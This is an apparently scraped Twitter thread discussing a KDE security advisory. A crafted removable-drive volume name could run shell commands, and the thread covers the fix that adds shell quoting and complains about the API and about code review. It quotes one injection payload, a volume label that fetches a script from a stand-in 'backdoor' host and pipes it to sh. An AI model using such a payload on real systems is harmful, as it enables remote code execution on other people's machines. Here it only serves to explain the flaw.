https://www.kde.org/info/security/advisory-20180208-2.txt … Execute arbitrary code on KDE by calling your pendrive VFAT volume $(curl http://backdoor.com | sh). Nice. The fix replaces a call to expandMacros with expandMacrosShellQuote. https://cgit.kde.org/plasma-workspace.git/commit/?id=f32002ce50edc3891f1fa41173132c820b917d57 … What. https://github.com/KDE/kdelibs/blob/ba77ceb18bea3cb5c9d5207b2988f7d7e169d1fb/kdecore/util/kmacroexpander_unix.cpp#L48-L213 … ... What?!
-
Show this thread
-
How the fuck did this undocumented monstrosity pass any sort of code review?! ... oh right, KDE developers (or most OSS developers, in fact) don't do code reviews.
3 replies 3 retweets 5 likesShow this thread -
Alright, there's a chunk of documentation in the header file about what that function does: https://github.com/KDE/kdelibs/blob/ba77ceb18bea3cb5c9d5207b2988f7d7e169d1fb/kdecore/util/kmacroexpander.h#L63-L109 … That's slightly better.
2 replies 0 retweets 0 likesShow this thread -
Replying to @q3k
Except why on earth is it going through a shell execution at all? Is all this Qt GUI stack backed by bash under the hood? Wtf
1 reply 0 retweets 0 likes -
Replying to @tsosnierz @q3k
Exactly. If you need to quote, the API sucks.
1 reply 0 retweets 0 likes
Because this is about .desktop file Exec= lines describing device actions and, even though the spec doesn't say pass it to the shell, I'm pretty sure it's been implemented like that for ages and some people probably rely on it.
Loading seems to be taking a while.
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.